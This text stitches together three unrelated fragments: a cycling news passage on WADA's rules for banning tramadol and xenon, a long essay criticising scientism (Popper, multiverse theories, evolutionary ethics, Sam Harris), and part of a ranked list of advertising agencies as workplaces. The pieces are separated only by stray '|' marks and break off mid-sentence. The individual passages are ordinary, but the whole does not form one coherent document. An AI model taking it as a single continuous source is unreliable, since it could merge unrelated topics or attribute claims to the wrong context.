WADA has a clear guideline as to when products should be banned; the agency states that if a substance satisfies two out of three criteria, then it should be blacklisted.
“A substance or method may be placed on the Prohibited List if it meets two of the following three criteria: it has the potential to be performance enhancing; can be detrimental to the health of an athlete; and it is contrary to the spirit of sport,” said the spokesman.
Listening to Phinney and Barry, both riders’ statements about the substance would appear to give grounds for debate. They are clear about the performance benefits and also about the potential for danger.
In addition to that, Phinney raised questions about whether or not such substances aligned with the spirit of sport.
“Another issue is taking something for an improvement, getting into that mentality. You have to ask why are you taking a painkiller?,” he stated. “You are doing that to mask effects that riding a bike is going to have on your body…essentially, you are taking a painkiller to enhance your performance.
“But the whole reason we get into sport in the first place is to test our bodies, to test our limits. If you are taking something that is going to boost your performance, that is not exactly being true to yourself, not exactly being true to your sport.”
Asked this week what the next step was in the process, the WADA spokesman told CyclingTips that there is some room for debate in the months ahead.
“At the moment it is proposed as being on the [monitored] list for next year. There is the potential for these things to change, depending on the opinion which comes back. But that is what we have proposed and then that gets confirmed in September’s meeting.
He said that he wasn’t in a position to give a personal opinion about why it would be on a monitored list rather than banned.
“All I can comment on is for something to be on our prohibited list, a substance or method, it needs to cover two of our three criteria. If it is not considered that it does tick two of those boxes, it is not added to the list as something which is going to become prohibited.
“I can only say that it obviously to date hasn’t ticked two of those boxes that are required.”
Xenon and carbon monoxide:
A different substance which does appear to have ticked those boxes is the gas xenon, which came to prominence during the recent Winter Olympics in Sochi. Believed to artificially increase the level of EPO in the body, the spokesman has confirmed that it looks set to be blocked from next year.
“Xenon has been added to the draft 2015 Prohibited List,” he said. “The draft List is open for consultation and for comments from stakeholders between now and the Executive Committee meeting in September, at which time it will be discussed once again and approved.”
Another substance – or, rather, method – which is rumoured to have been used by some within cycling to try to drive up red blood cell levels is carbon monoxide. At this point in time, there are no plans to block it.
“WADA is alert to the possible use of carbon monoxide. The alleged practice was reviewed recently by the List Committee, who are conscious of its potential dangerous effects,” he said. “It does not consider this approach to be blood manipulation and does not recognise it as a banned method.”
Back to tramadol, the substance which Phinney and Barry expressed concerns about. WADA is yet to make a final decision, but at this point in time it appears more likely than not that it won’t be prohibited in 2015.
“The status quo is what is proposed,” the spokesman confirmed, before stating that nothing is set in stone. “These things can change, and that is the whole point of this consultation period that it allows people to discuss it, to debate it openly and then depending on how that goes |
science alone cannot answer, but that must be answered for natural science to be properly conducted.
These questions include how we define and understand science itself. One group of theories of science — the set that best supports a clear distinction between science and philosophy, and a necessary role for each — can broadly be classified as “essentialist.” These theories attempt to identify the essential traits that distinguish science from other human activities, or differentiate true science from nonscientific and pseudoscientific forms of inquiry. Among the most influential and compelling of these is Karl Popper’s criterion of falsifiability outlined in The Logic of Scientific Discovery (1959).
A falsifiable theory is one that makes a specific prediction about what results are supposed to occur under a set of experimental conditions, so that the theory might be falsified by performing the experiment and comparing predicted to actual results. A theory or explanation that cannot be falsified falls outside the domain of science. For example, Freudian psychoanalysis, which does not make specific experimental predictions, is able to revise its theory to match any observations, in order to avoid rejecting the theory altogether. By this reckoning, Freudianism is a pseudoscience, a theory that purports to be scientific but is in fact immune to falsification. In contrast, for example, Einstein’s theory of relativity made predictions (like the bending of starlight around the sun) that were novel and specific, and provided opportunities to disprove the theory by direct experimental observation. Advocates of Popper’s definition would seem to place on the same level as pseudoscience or nonscience every statement — of metaphysics, ethics, theology, literary criticism, and indeed daily life — that does not meet the criterion of falsifiability.
The criterion of falsifiability is appealing in that it highlights similarities between science and the trial-and-error methods we use in everyday problem-solving. If I have misplaced my keys, I immediately begin to construct scenarios — hypotheses, if you will — that might account for their whereabouts: Did I leave them in the ignition or in the front door lock? Were they in the pocket of the jeans I put in the laundry basket? Did I drop them while mowing the lawn? I then proceed to evaluate these scenarios systematically, by testing predictions that I would expect to be true under each scenario — in other words, by using a sort of Popperian method. The everyday, commonsense nature of the falsifiability criterion has the virtue of both showing how science is grounded in basic ideas of rationality and observation, and thereby also of stripping away from science the aura of sacred mystery with which some would seek to surround it.
An additional strength of the falsifiability criterion is that it makes possible a clear distinction between science properly speaking and the opinions of scientists on nonscientific subjects. We have seen in recent years a growing tendency to treat as “scientific” anything that scientists say or believe. The debates over stem cell research, for example, have often been described, both within the scientific community and in the mass media, as clashes between science and religion. It is true that many, but by no means all, of the most vocal defenders of embryonic stem cell research were scientists, and that many, but by no means all, of its most vocal opponents were religious. But in fact, there was little science being disputed: the central controversy was between two opposing views on a particular ethical dilemma, neither of which was inherently more scientific than the other. If we confine our definition of the scientific to the falsifiable, we clearly will not conclude that a particular ethical view is dictated by science just because it is the view of a substantial number of scientists. The same logic applies to the judgments of scientists on political, aesthetic, or other nonscientific issues. If a poll shows that a large majority of scientists prefers neutral colors in bathrooms, for example, it does not follow that this preference is “scientific.”
Popper’s falsifiability criterion and similar essentialist definitions of science highlight the distinct but vital roles of both science and philosophy. The definitions show the necessary role of philosophy in undergirding and justifying science — protecting it from its potential for excess and self-devolution by, among other things, proposing clear distinctions between legitimate scientific theories and pseudoscientific theories that masquerade as science.
By contrast to Popper, many thinkers have advanced understandings of philosophy and science that blur such distinctions, resulting in an inflated role for science and an ancillary one for philosophy. In part, philosophers have no one but themselves to blame for the low state to which their discipline has fallen — thanks especially to the logical positivist and analytic strain that has been dominant for about a century in the English-speaking world. For example, the influential twentieth-century American philosopher W. V. O. Quine spoke modestly of a “philosophy continuous with science” and vowed to eschew philosophy’s traditional concern with metaphysical questions that might claim to sit in judgment on the natural sciences. Science, Quine and many of his contemporaries seemed to say, is where the real action is, while philosophers ought to celebrate science from the sidelines.
This attitude has been articulated in the other main group of theories of science, which rivals the essentialist understandings — namely, the “institutional” theories, which identify science with the social institution of science and its practitioners. The institutional approach may be useful to historians of science, as it allows them to accept the various definitions of fields used by the scientists they study. But some philosophers go so far as to use “institutional factors” as the criteria of good science. Ladyman, Ross, and Spurrett, for instance, say that they “demarcate good science — around lines which are inevitably fuzzy near the boundary — by reference to institutional factors, not to directly epistemological ones.” By this criterion, we would differentiate good science from bad science simply by asking which proposals agencies like the National Science Foundation deem worthy of funding, or which papers peer-review committees deem worthy of publication.
The problems with this definition of science are myriad. First, it is essentially circular: science simply is what scientists do. Second, the high confidence in funding and peer-review panels should seem misplaced to anyone who has served on these panels and witnessed the extent to which preconceived notions, personal vendettas, and the like can torpedo even the best proposals. Moreover, simplistically defining science by its institutions is complicated by the ample history of scientific institutions that have been notoriously unreliable. Consider the decades during which Soviet biology was dominated by the ideologically motivated theories of the geneticist Trofim Lysenko, who rejected Mendelian genetics as inconsistent with Marxism and insisted that acquired characteristics could be inherited. An observer who distinguishes good science from bad science “by reference to institutional factors” alone would have difficulty seeing the difference between the unproductive and corrupt genetics in the Soviet Union and the fruitful research of Watson and Crick in 1950s Cambridge. Can we be certain that there are not sub-disciplines of science in which even today most scientists accept without question theories that will in the future be shown to be as preposterous as Lysenkoism? Many working scientists can surely think of at least one candidate — that is, a theory widely accepted in their field that is almost certainly false, even preposterous.
Confronted with such examples, defenders of the institutional approach will often point to the supposedly self-correcting nature of science. Ladyman, Ross, and Spurrett assert that “although scientific progress is far from smooth and linear, it never simply oscillates or goes backwards. Every scientific development influences future science, and it never repeats itself.” Alas, in the thirty or so years I have been watching, I have observed quite a few scientific sub-fields (such as behavioral ecology) oscillating happily and showing every sign of continuing to do so for the foreseeable future. The history of science provides examples of the eventual discarding of erroneous theories. But we should not be overly confident that such self-correction will inevitably occur, nor that the institutional mechanisms of science will be so robust as to preclude the occurrence of long dark ages in which false theories hold sway.
The fundamental problem raised by the identification of “good science” with “institutional science” is that it assumes the practitioners of science to be inherently exempt, at least in the long term, from the corrupting influences that affect all other human practices and institutions. Ladyman, Ross, and Spurrett explicitly state that most human institutions, including “governments, political parties, churches, firms, NGOs, ethnic associations, families... are hardly epistemically reliable at all.” However, “our grounding assumption is that the specific institutional processes of science have inductively established peculiar epistemic reliability.” This assumption is at best naïve and at worst dangerous. If any human institution is held to be exempt from the petty, self-serving, and corrupting motivations that plague us all, the result will almost inevitably be the creation of a priestly caste demanding adulation and required to answer to no one but itself.
It is something approaching this adulation that seems to underlie the abdication of the philosophers and the rise of the scientists as the authorities of our age on all intellectual questions. Reading the work of Quine, Rudolf Carnap, and other philosophers of the positivist tradition, as well as their more recent successors, one is struck by the aura of hero-worship accorded to science and scientists. In spite of their idealization of science, the philosophers of this school show surprisingly little interest in science itself — that is, in the results of scientific inquiry and their potential philosophical implications. As a biologist, I must admit to finding Quine’s constant invocation of “nerve-endings” as an all-purpose explanation of human behavior to be embarrassingly simplistic. Especially given Quine’s intellectual commitment to behaviorism, it is surprising yet characteristic that he had little apparent interest in the actual mechanisms by which the nervous system functions.
Ross, Ladyman, and Spurrett may be right to assume that science possesses a “peculiar epistemic reliability” that is lacking in other forms of inquiry. But they have taken the strange step of identifying that reliability with the institutions and practitioners of science, rather than with any particular rational, empirical, or methodological criterion that scientists are bound (but often fail) to uphold. Thus a (largely justifiable) admiration for the work of scientists has led to a peculiar, unjustified role for scientists themselves — so that, increasingly, what is believed by scientists and the public to be “scientific” is simply any claim that is upheld by many scientists, or that is based on language and ideas that sound sufficiently similar to scientific theories.
The Eclipse of Metaphysics
There are at least three areas of inquiry traditionally in the purview of philosophy that now are often claimed to be best — or only — studied scientifically: metaphysics, epistemology, and ethics. Let us discuss each in turn.
Physicists Stephen Hawking and Leonard Mlodinow open their 2010 book The Grand Design by asking:
What is the nature of reality? Where did all this come from? Did the universe need a creator?... Traditionally these are questions for philosophy, but philosophy is dead. Philosophy has not kept up with modern developments in science, particularly physics. Scientists have become the bearers of the torch of discovery in our quest for knowledge.
Though physicists might once have been dismissive of metaphysics as mere speculation, they would also have characterized such questions as inherently speculative and so beyond their own realm of expertise. The claims of Hawking and Mlodinow, and many other writers, thus represent a striking departure from the traditional view.
In contrast to these authors’ claims of philosophical obsolescence, there has arisen a curious consilience between the findings of modern cosmology and some traditional understandings of the creation of the universe. For example, theists have noted that the model known as the Big Bang has a certain consistency with the Judeo-Christian notion of creation ex nihilo, a consistency not seen in other cosmologies that postulated an eternally existent universe. (In fact, when the astronomer-priest Georges Lemaître first postulated the theory, he was met with such skepticism by proponents of an eternal universe that the name “Big Bang” was coined by his opponents — as a term of ridicule.) Likewise, many cosmologists have articulated various forms of what is known as the “anthropic principle” — that is, the observation that the basic laws of the universe seem to be “fine-tuned” in such a way as to be favorable to life, including human life.
It is perhaps in part as a response to this apparent consilience that we owe the rise of a large professional and popular literature in recent decades dedicated to theories about multiverses, “many worlds,” and “landscapes” of reality that would seem to restore the lack of any special favoring of humanity. Hawking and Mlodinow, for example, state that
the fine-tunings in the laws of nature can be explained by the existence of multiple universes. Many people through the ages have attributed to God the beauty and complexity of nature that in their time seemed to have no scientific explanation. But just as Darwin and Wallace explained how the apparently miraculous design of living forms could appear without intervention by a supreme being, the multiverse concept can explain the fine-tuning of physical law without the need for a benevolent creator who made the universe for our benefit.
The multiverse theory holds that there are many different universes, of which ours is just one, and that each has its own system of physical laws. The argument Hawking and Mlodinow offer is essentially one from the laws of probability: If there are enough universes, one or more whose laws are suitable for the evolution of intelligent life is more or less bound to occur.
Physicist Lee Smolin, in his 1997 book The Life of the Cosmos, goes one step further by applying the principles of natural selection to a multiverse model. Smolin postulates that black holes give rise to new universes, and that the physical laws of a universe determine its propensity to give rise to black holes. A universe’s set of physical laws thus serves as its “genome,” and these “genomes” differ with respect to their propensity to allow a universe to “reproduce” by creating new universes. For example, it happens that a universe with a lot of carbon is very good at making black holes — and a universe with a lot of carbon is also one favorable to the evolution of life. In order for his evolutionary process to work, Smolin also assumes a kind of mutational mechanism whereby the physical laws of a universe may be slightly modified in progeny universes. For Smolin, then, not only is our universe bound to occur because there have been many rolls of the dice, but the dice are loaded in favor of a universe like ours because it happens to be a particularly “fit” universe.
Though these arguments may do some work in evading the conclusion that our universe is fine-tuned with us in mind, they cannot sidestep, or even address, the fundamental metaphysical questions raised by the fact that something — whether one or many universes — exists rather than nothing. The main fault of these arguments lies in their failure to distinguish between necessary and contingent being. A contingent being is one that might or might not exist, and thus might or might not have certain properties. In the context of modern quantum physics, or population genetics, one might even assign probability values to the existence or non-existence of some contingent being. But a necessary being is one that must exist, and whose properties could not be other than they are.
Multiverse theorists are simply saying that our universe and its laws have merely contingent being, and that other universes are conceivable and so also may exist, albeit contingently. The idea of the contingent nature of our universe may cut against the grain of modern materialism, and so seem novel to many physicists and philosophers, but it is not in fact new. Thomas Aquinas, for example, began the third of his famous five proofs of the existence of God (a being “necessary in itself”) with the observation of contingent being (“we find among things certain ones that might or might not be”). Whether or not one is convinced by Aquinas, it should be clear that the “discovery” that our universe is a contingent event among other contingent events is perfectly consistent with his argument.
Writers like Hawking, Mlodinow, and Smolin, however, use the contingent nature of our universe and its laws to argue for a very different conclusion from that of Aquinas — namely, that some contingent universe (whether or not it turned out to be our own) must have come into being, without the existence of any necessary being. Here again probability is essential to the argument: While any universe with a particular set of laws may be very improbable, with enough universes out there it becomes highly probable. This is the same principle behind the fact that, when I toss a coin, even though there is some probability that I will get heads and some probability that I will get tails, it is certain that I will get heads or tails. Similarly, modern theorists imply, the multiverse has necessary being even though any given universe does not.
The problem with this argument is that certainty in the sense of probability is not the same thing as necessary being: If I toss a coin, it is certain that I will get heads or tails, but that outcome depends on my tossing the coin, which I may not necessarily do. Likewise, any particular universe may follow from the existence of a multiverse, but the existence of the multiverse remains to be explained. In particular, the universe-generating process assumed by some multiverse theories is itself contingent because it depends on the action of laws assumed by the theory. The latter might be called meta-laws, since they form the basis for the origin of the individual universes, each with its own individual set of laws. So what determines the meta-laws? Either we must introduce meta-meta-laws, and so on in infinite regression, or we must hold that the meta-laws themselves are necessary — and so we have in effect just changed our understanding of what the fundamental universe is to one that contains many universes. In that case, we are still left without ultimate explanations as to why that universe exists or has the characteristics it does.
When it comes to such metaphysical questions, science and scientific speculation may offer much in fleshing out details, but they have so far failed to offer any explanations that are fundamentally novel to philosophy — much less have they supplanted it entirely.
The Eclipse of Epistemology
Hawking and Mlodinow, in the chapter of their book called “The Theory of Everything,” quote Albert Einstein: “The most incomprehensible thing about the universe is that it is comprehensible.” In response, Hawking and Mlodinow offer this crashing banality: “The universe is comprehensible because it is governed by scientific laws; that is to say, its behavior can be modeled.” Later, the authors invite us to give ourselves a collective pat on the back: “The fact that we human beings — who are ourselves mere collections of fundamental particles of nature — have been able to come this close to an understanding of the laws governing us and our universe is a great triumph.” Great triumph or no, none of this addresses Einstein’s paradox, because no explanation is offered as to why our universe is “governed by scientific laws.”
Moreover, even if we can be confident that our universe has unchanging physical laws — which many of the new speculative cosmologies call into question — how is it that we “mere collections of particles” are able to discern those laws? How can we be confident that we will continue to discern them better, until we understand them fully? A common response to these questions invokes what has become the catch-all explanatory tool of advocates of scientism: evolution. W. V. O. Quine was one of the first modern philosophers to apply evolutionary concepts to epistemology, when he argued in Ontological Relativity and Other Essays (1969) that natural selection should have favored the development of traits in human beings that lead us to distinguish truth from falsehood, on the grounds that believing false things is detrimental to fitness. More recently, scientific theories themselves have come to be considered the objects of natural selection. For example, philosopher Bastiaan C. van Fraassen argued in his 1980 book The Scientific Image:
the success of current scientific theories is no miracle. It is not even surprising to the scientific (Darwinist) mind. For any scientific theory is born into a life of fierce competition, a jungle red in tooth and claw. Only the successful theories survive — the ones which in fact latched onto actual regularities in nature.
Richard Dawkins has famously extended this analysis to ideas in general, which he calls “memes.”
The notion that our minds and senses are adapted to find knowledge does have some intuitive appeal; as Aristotle observed long before Darwin, “all men, by nature, desire to know.” But from an evolutionary perspective, it is by no means obvious that there is always a fitness advantage to knowing the truth. One might grant that it may be very beneficial to my fitness to know certain facts in certain contexts: For instance, if a saber-toothed tiger is about to attack me, it is likely to be to my advantage to be aware of that fact. Accurate perception in general is likely to be advantageous. And simple mathematics, such as counting, might be advantageous to fitness in many contexts — for example, in keeping track of my numerous offspring when saber-toothed cats are about. Plausibly, even the human propensity for gathering genealogical information, and with it an intuitive sense of degrees of relatedness among social group members, might have been advantageous because it served to increase the propensity of an organism to protect members of the species with genotypes similar to its own. But the general epistemological argument offered by these authors goes far beyond any such elementary needs. While it may be plausible to imagine a fitness advantage to simple skills of classification and counting, it is very hard to see such an advantage to DNA sequence analysis or quantum theory.
Similar points apply whether one is considering the ideas themselves or the traits that allow us to form ideas as the objects of natural selection. In either case, the “fitness” of an idea hinges on its ability to gain wide adherence and acceptance. But there is little reason to suppose that natural selection would have favored the ability or desire to perceive the truth in all cases, rather than just some useful approximation of it. Indeed, in some contexts, a certain degree of self-deception may actually be advantageous from the point of view of fitness. There is a substantial sociobiological literature regarding the possible fitness advantages of self-deception in humans (the evolutionary biologist Robert L. Trivers reviewed these in a 2000 article in the Annals of the New York Academy of Sciences).
These invocations of evolution also highlight another common misuse of evolutionary ideas: namely, the idea that some trait must have evolved merely because we can imagine a scenario under which possession of that trait would have been advantageous to fitness. Unfortunately, biologists as well as philosophers have all too often been guilty of this sort of invalid inference. Such forays into evolutionary explanation amount ultimately to storytelling rather than to hypothesis-testing in the scientific sense. For a complete evolutionary account of a phenomenon, it is not enough to construct a story about how the trait might have evolved in response to a given selection pressure; rather, one must provide some sort of evidence that it really did so evolve. This is a very tall order, especially when we are dealing with human mental or behavioral traits, the genetic basis of which we are far from understanding.
Evolutionary biologists today are less inclined than Darwin was to expect that every trait of every organism must be explicable by positive selection. In fact, there is abundant evidence — as described in books like Motoo Kimura’s The Neutral Theory of Molecular Evolution (1983), Stephen Jay Gould’s The Structure of Evolutionary Theory (2002), and Michael Lynch’s The Origins of Genome Architecture (2007) — that many features of organisms arose by mutations that were fixed by chance, and were neither selectively favored nor disfavored. The fact that any species, including ours, has traits that might confer no obvious fitness benefit is perfectly consistent with what we know of evolution. Natural selection can explain much about why species are the way they are, but it does not necessarily offer a specific explanation for human intellectual powers, much less any sort of basis for confidence in the reliability of science.
What van Fraassen, Quine, and these other thinkers are appealing to is a kind of popularized and misapplied Darwinism that bears little relationship to how evolution really operates, yet that appears in popular writings of all sorts — and even, as I have discovered in my own work as an evolutionary biologist, in the peer-reviewed literature. To speak of a “Darwinian” process of selection among culturally transmitted ideas, whether scientific theories or memes, is at best only a loose analogy with highly misleading implications. It easily becomes an interpretive blank check, permitting speculation that seems to explain any describable human trait. Moreover, even in the strongest possible interpretation of these arguments, at best they help a little in explaining why we human beings are capable of comprehending the universe — but they still say nothing about why the universe itself is comprehensible.
The Eclipse of Ethics
Perhaps no area of philosophy has seen a greater effort at appropriation by advocates of scientism than ethics. Many of them tend toward a position of moral relativism. According to this position, science deals with the objective and the factual, whereas statements of ethics merely represent people’s subjective feelings; there can be no universal right or wrong. Not surprisingly, there are philosophers who have codified this opinion. The positivist tradition made much of a “fact-value distinction,” in which science was said to deal with facts, leaving fields like ethics (and aesthetics) to deal with the more nebulous and utterly disparate world of values. In his influential book Ethics: Inventing Right and Wrong (1977), the philosopher J. L. Mackie went even further, arguing that ethics is fundamentally based on a false theory about reality.
Evolutionary biology has often been seen as highly relevant to ethics, beginning in the nineteenth century. Social Darwinism — at least as it came to be explained and understood by later generations — was an ideology that justified laissez-faire capitalism with reference to the natural “struggle for existence.” In the writings of authors such as Herbert Spencer, the accumulation of wealth with little regard for those less fortunate was justified as “nature’s way.” Of course, the “struggle” involved in natural selection is not a struggle to accumulate a stock portfolio but a struggle to reproduce — and ironically, Social Darwinism arose at the very time that the affluent classes of Western nations were beginning to limit their reproduction (the so-called “demographic transition”) with the result that the economic struggle and the Darwinian struggle were at cross-purposes.
Partly in response to this contradiction, the eugenics movement arose, with its battle cry, “The unfit are reproducing like rabbits; we must do something to stop them!” Although plenty of prominent Darwinians endorsed such sentiments in their day, no more incoherent a plea can be imagined from a Darwinian point of view: If the great unwashed are out-reproducing the genteel classes, that can only imply that it is the great unwashed who are the fittest — not the supposed “winners” in the economic struggle. It is the genteel classes, with their restrained reproduction, who are the unfit. So the foundations of eugenics are complete nonsense from a Darwinian point of view.
The unsavory nature of Social Darwinism and associated ideas such as eugenics caused a marked eclipse in the enterprise of evolutionary ethics. But since the 1970s, with the rise of sociobiology and its more recent offspring evolutionary psychology, there has been a huge resurgence of interest in evolutionary ethics on the part of philosophers, biologists, psychologists, and popular writers.
It should be emphasized that there is such a thing as a genuinely scientific human sociobiology or evolutionary psychology. In this field, falsifiable hypotheses are proposed and tested with real data on human behavior. The basic methods are akin to those of behavioral ecology, which have been applied with some success to understanding the behavioral adaptations of nonhuman animals, and can shed similar light on aspects of human behavior — although these efforts are complicated by human cultural variability. On the other hand, there is also a large literature devoted to a kind of pop sociobiology that deals in untested — and often untestable — speculations, and it is the pop sociobiologists who are most likely to tout the ethical relevance of their ostensible discoveries.
When evolutionary psychology emerged, its practitioners were generally quick to repudiate Social Darwinism and eugenics, labeling them as “misuses” of evolutionary ideas. It is true that both were based on incoherent reasoning that is inconsistent with the basic concepts of biological evolution; but it is also worth remembering that some very important figures in the history of evolutionary biology did not see these inconsistencies, being blinded, it seems, by their social and ideological prejudices. The history of these ideas is another cautionary tale of the fallibility of institutional science when it comes to getting even its own theories straight.
Just the same, what evolutionary psychology was about, we were told, was something quite different than Social Darwinism. It avoided the political and focused on the personal. One area of human life to which the field has devoted considerable attention is sex, spinning out just-so stories to explain the “adaptive” nature of every sort of behavior, from infidelity to rape. As with the epistemological explanations, since natural selection “should” have favored this or that behavior, it is often simply concluded that it must have done so. The tacit assumption seems to be that merely reciting the story somehow renders it factual. (There often even seems to be a sort of relish with which these stories are elaborated — the more so the more thoroughly caddish the behavior.) The typical next move is to deplore the very behaviors the evolutionary psychologist has just designated as part of our evolutionary heritage, and perhaps our instinct: To be sure, we don’t approve of such things today, lest anyone get the wrong idea. This deploring is often accompanied by a pious invocation of the fact-value distinction (even though typically no facts at all have made an appearance — merely speculations).
There seems to be a thirst for this kind of explanation, but the pop evolutionary psychologists generally pay little attention to the philosophical issues raised by their evolutionary scenarios. Most obviously, if “we now know” that the selfish behavior attributed to our ancestors is morally reprehensible, how have “we” come to know this? What basis do we have for saying that anything is wrong at all if our behaviors are no more than the consequence of past natural selection? And if we desire to be morally better than our ancestors were, are we even free to do so? Or are we programmed to behave in a certain way that we now, for some reason, have come to deplore?
On the other hand, there is a more serious philosophical literature that attempts to confront some of the issues in the foundations of ethics that arise from reflections on human evolutionary biology — for example, Richard Joyce’s 2006 book The Evolution of Morality. Unfortunately, much of this literature consists of still more storytelling — scenarios whereby natural selection might have favored a generalized moral sense or the tendency to approve of certain behaviors such as cooperation. There is nothing inherently implausible about such scenarios, but they remain in the realm of pure speculation and are essentially impossible to test in any rigorous way. Still, these ideas have gained wide influence.
Part of this evolutionary approach to ethics tends toward a debunking of morality. Since our standards of morality result from natural selection for traits that were useful to our ancestors, the debunkers argue, these moral standards must not refer to any objective ethical truths. But just because certain beliefs about morality were useful for our ancestors does not make them necessarily false. It would be hard to make a similar case, for example, against the accuracy of our visual perception based on its usefulness to our ancestors, or against the truth of arithmetic based on the same.
True ethical statements — if indeed they exist — are of a very different sort from true statements of arithmetic or observational science. One might argue that our ancestors evolved the ability to understand human nature and, therefore, they could derive true ethical statements from an understanding of that nature. But this is hardly a novel discovery of modern science: Aristotle made the latter point in the Nicomachean Ethics. If human beings are the products of evolution, then it is in some sense true that everything we do is the result of an evolutionary process — but it is difficult to see what is added to Aristotle’s understanding if we say that we are able to reason as he did as the result of an evolutionary process. (A parallel argument could be made about Kantian ethics.)
Not all advocates of scientism fall for the problems of reducing ethics to evolution. Sam Harris, in his 2010 book The Moral Landscape, is one advocate of scientism who takes issue with the whole project of evolutionary ethics. Yet he wishes to substitute an offshoot of scientism that is perhaps even more problematic, and certainly more well-worn: utilitarianism. Under Harris’s ethical framework, the central criteria for judging if a behavior is moral is whether or not it contributes to the “well-being of conscious creatures.” Harris’s ideas have all of the problems that have plagued utilitarian philosophy from the beginning. As utilitarians have for some time, Harris purports to challenge the fact-value distinction, or rather, to sidestep the tricky question of values entirely by just focusing on facts. But, as has also been true of utilitarians for some time, this move ends up being a way to advance certain values over others without arguing for them, and to leave large questions about those values unresolved.
Harris does not, for example, address the time-bound nature of such evaluations: Do we consider only the well-being of creatures that are conscious at the precise moment of our analysis? If yes, why should we accept such a bias? What of creatures that are going to possess consciousness in the near future — or would without human intervention — such as human embryos, whose destruction Harris staunchly advocates for the purposes of stem cell research? What of comatose patients, whose consciousness, and prospects for future consciousness, are uncertain? Harris might respond that he is only concerned with the well-being of creatures now experiencing consciousness, not any potentially future conscious creatures. But if so, should he not, for example, advocate expending all of the earth’s nonrenewable resources in one big here-and-now blowout, enhancing the physical well-being of those now living, and let future generations be damned? Yet Harris claims to be a conservationist. Surely the best justification for resource conservation on the basis of his ethics would be that it enhances the well-being of future generations of conscious creatures. If those potential future creatures merit our consideration, why should we not extend the same consideration to creatures already in existence, whose potential future involves consciousness?
Moreover, the factual analysis Harris touts cannot nearly bear the weight of the ethical inquiry he claims it does. Harris argues that the question of what factors contribute to the “well-being of conscious creatures” is a factual one, and furthermore that science can provide insights into these factors, and someday perhaps even give definitive accounts of them. Harris himself has been involved in research that examines the brain states of human subjects engaged in a variety of tasks. Although there has been much overhyping of brain imaging, the limitations of this sort of research are becoming increasingly obvious. Even on their own terms, these studies at best provide evidence of correlation, not of causation, and of correlations mixed in with the unfathomably complex interplay of cause and effect that are the brain and the mind. These studies inherently claim to get around the problems of understanding subjective consciousness by examining the brain, but the basic unlikeness of first-person qualitative experience and third-person events that can be examined by anyone places fundamental limits on the usual reductive techniques of empirical science.
We might still grant Harris’s assumption that neuroscience will someday reveal, in great biochemical and physiological detail, a set of factors highly associated with a sense of well-being. Even so, there would be limitations on how much this knowledge would advance human happiness. For comparison, we know a quite a lot about the physiology of digestion, and we are able to describe in great detail the physiological differences between the digestive system of a person who is starving and that of a person who has just eaten a satisfying and nutritionally balanced meal. But this knowledge contributes little to solving world hunger. This is because the factor that makes the difference — that is, the meal — comes from outside the person. Unless the factors causing our well-being come primarily from within, and are totally independent of what happens in our environment, Harris’s project will not be the key to achieving universal well-being.
Harris is aware that external circumstances play a vital role in our sense of well-being, and he summarizes some research that addresses these factors. But most of this research is soft science of the very softest sort — questionnaire surveys that ask people in a variety of circumstances about their feelings of happiness. As Harris himself notes, most of the results tell us nothing we did not already know. (Unsurprisingly, Harris, an atheist polemicist, fails to acknowledge any studies that have supported a spiritual or religious component in happiness.) Moreover, there is reason for questioning to what extent the self-reported “happiness” in population surveys relates to real happiness. Recent data indicating that both states and countries with high rates of reported “happiness” also have high rates of suicide suggest that people’s answers to surveys may not always provide a reliable indicator of societal well-being, or even of happiness.
This, too, is a point as old as philosophy: As Aristotle noted in the Nicomachean Ethics, there is much disagreement between people as to what happiness is, “and often even the same man identifies it with different things, with health when he is ill, with wealth when he is poor.” Again, understanding values requires philosophy, and cannot simply be sidestepped by wrapping them in a numerical package. Harris is right that new scientific information can guide our decisions by enlightening our application of moral principles — a conclusion that would not have been troubling to Kant or Aquinas. But this is a far cry from scientific information shaping or determining our moral principles themselves, an idea for which Harris is unable to make a case.
A striking inconsistency in Harris’s thought is his adherence to determinism, which seems to go against his insistence that there are right and wrong choices. This is a tension widely evident in pop sociobiology. Harris seems to think that free will is an illusion but also that our decisions are really driven by thoughts that arise unbidden in our brains. He does not explain the origin of these thoughts nor how their origin relates to moral choices.
Harris gives a hint of an answer to this question when, in speaking of criminals, he attributes their actions to “some combination of bad genes, bad parents, bad ideas, and bad luck.” Each of us, he says, “could have been dealt a very different hand in life” and “it seems immoral not to recognize just how much luck is involved in morality itself.” Harris’s reference to “bad genes” puts him back closer to the territory of eugenics and Social Darwinism than he seems to realize, making morality the privilege of the lucky |
me as someone who has a toddler at home," said one worker. Employees say they are trusted to take time off when needed. Besides work-life balance, staff members say the supportive culture helps create a positive environment for development where encouragement and constructive feedback help employees learn and grow. One example: Each member of the executive leadership team earmarks two to four lunches per month for employees who would like mentoring.
#14. 3Q Digital Headquarters: San Mateo, Calif.
Employees: 107 The regard this digital-marketing agency has for employees is what makes its workers so appreciative. With unlimited paid time off and a work-from-home option, employees can have a work-life balance. "The unlimited PTO policy isn't just lip service," one staff member said. "It is supported and really helpful in balancing my work and home life." Additionally, workers describe senior management as transparent and approachable, and the teamwork is "outstanding." "Not one department goes unnoticed for work efforts and we celebrate our victories as a team," said one employee.
#15. POSSIBLE Headquarters: Seattle
Employees: 1,168 It doesn't matter who you are or how long you've been at this digital agency, employees say the company wants to know your dreams and goals. "Anyone, on any level of 'importance,' can make time to talk to me about my career goals," said one worker. "No one is too big for their britches." Every employee gets an iPad and the agency offers a mind, body and soul wellness program in which employees can spend $600 per year to take care of themselves. Many employees cite the dog-friendly environment as one of the best things about the company. Another perk includes a bar onsite where workers can unwind with beer or wine.
#16. Carmichael Lynch Headquarters: Minneapolis
Employees: 220 Creativity is prioritized at this Minnesota advertising agency, where rooftop concerts are just one of the benefits employees say contribute to the fun atmosphere. The shop is big on company culture—the words collaborative, respectful and "family-like" came up often—and a recent remodel tore down office walls and got rid of doors. Making the workforce more diverse and environment more inclusive have also been some of the company's main goals, and its progress has been recognized within parent company Interpublic and the broader industry. "This is my first full-time job out of college, and I get the impression that everyone here wants me to grow and improve as a creative," said one young staffer.
#17. Victors and Spoils Headquarters: Boulder, Colo.
Employees: 40 This ad agency's office in the heart of Boulder is one of the main reasons employees love working here. "No one has an office, everyone sits together, and you can always find a few dogs running around," said one staffer, adding that the space resembles a warehouse. But the people inside that office are more important. Employees say senior management values staff members' contributions and feedback, and workers feel like they are appreciated and are making a difference. The company says it gives every worker a chance to take swings above his or her professional weight.
#18. UM Headquarters: New York
